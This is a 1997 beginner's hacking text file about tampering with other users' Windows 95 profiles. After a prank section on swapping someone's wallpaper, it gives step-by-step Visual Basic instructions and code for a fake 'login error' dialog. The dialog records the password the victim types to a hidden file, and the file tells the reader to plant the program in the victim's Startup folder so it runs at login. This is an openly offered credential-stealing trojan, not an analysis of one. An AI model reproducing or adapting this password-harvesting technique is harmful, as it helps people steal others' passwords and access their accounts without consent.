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- Hacking In Windows 95 v1.0
- November 1997
- By: Phluck
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- -1.0 INTRODUCTION-
- This document is about accessing and/or changing settings under
- someone else's profile in Windows 95. I have found that despite the fact that
- the .pwl files (password files) in Win95 are well encoded and (to my knowledge)
- impossible to decode, Win95 doesn't have much security stopping anyone from
- changing things about the other user's settings. So pretty much anything
- documented in this file is easy to do, I just thought I's share it with anyone
- who's just beggining to hack, so they can get some ideas about how hacking works
- etc...
- _NOTE_ This stuff will probably only work on a home computer, computers at
- school,
- work etc. use better security programs to prevent you from doing this.
-
- -1.1 THE USER PROFILES-
- Ok, as you probably already know the user's profiles are kept under
- c:\WINDOWS\PROFILES\USERNAME\ where USERNAME is the name or login name of the
- user. (In case you are wondering the .pwl files are kept in the c:\windows
- directory, not in the user's profile directory).
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- -1.2 CHANGING BACKGROUNDS/SOUNDS-
- Ok, so you want to change someones background to something as a joke.
- Well this is really easy, it shouldn't even be considered hacking. Anyway all
- you need to know is the name of the .bmp file the have as their background,
- or the .wav file they have as their sound. If you don't know it, search the
- harddrive .wav or .bmp files and look through them, you should find it
- eventually.
- Once you have found the file(s) rename it(them) to something else(skip this step
- if you don't mind deleting the file), then rename the .bmp you want their
- background to look like to what their old background was called and there you
- are,
- easy.
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- -1.3 FINDING PASSWORDS-
- Ok, this is a little harder, but it's still easy, and it doesn't involve
- the .pwl file. The only real difficulty is that you need to have visual basic
- and a little Visual Basic knowledge (like I said, easy). What you need to do
- is make a little program that says something like "An error occurred while
- logging in, Please re-enter your password" and then it saves the password to
- a file and closes the program when you click a button. Compile the program
- and hide it in some directory where no one will look.
- Now, open up Windows Explorer (I like to use the old File Manager, but
- it just won't work in this situation) and go to:
- C:\Windows\Profiles\Joey\StartMenu\Startup\
- and drag the file from the other directory to there. It will automatically make
- a link to it.
- So now, when they log in, this program will load. Now the crappy part
- is that this looks a little suspicious cause the program pops up after
- everything
- has loaded. But it still seems to work whenever I've used it. Just don't try
- it on a computer expert I guess.
- If you have VB but you don't have the knowledge to make that program,
- look in the next section.
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- -1.4 MAKING THAT VB PROGRAM-
- Ok, I'll make really easy for you, maybe too easy:
- 1. Open Up Visual Basic (Duh)
- 2. Start a new program (Just a regual .exe)
- 3. Make the form a little smaller
- 4. Change the caption of the form to "Error"
- 5. Put in a Label
- 6. Change the Caption of the label to "An Error occured while logging in,
- Please re-enter your Password" or whatever you want it to say.
- 8. Make a text box change the text to nothing,
- and change the Password character to *
- 9. Make a Command Button and change the caption to "Ok"
- 10. On the menu Bar go to "view" then "code"
- 11. Type "Dim pass" and press enter
- 12. Close the Code Window
- 13. Double Click the Ok button
- 14. Enter the following code:
- pass = text1.text
- Open "c:\physics.txt" for output as #1
- Write #1, pass
- end
- 15. You can change the "c:\physics.txt" to whatever you want, so you can save
- the password wherever you want.
- 16. Compile it! Your finished.
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- -1.5 MORE INFORMATION-
- If you want to add on to this file, go ahead, just change it to v1.1
- and put your name next to mine on top.
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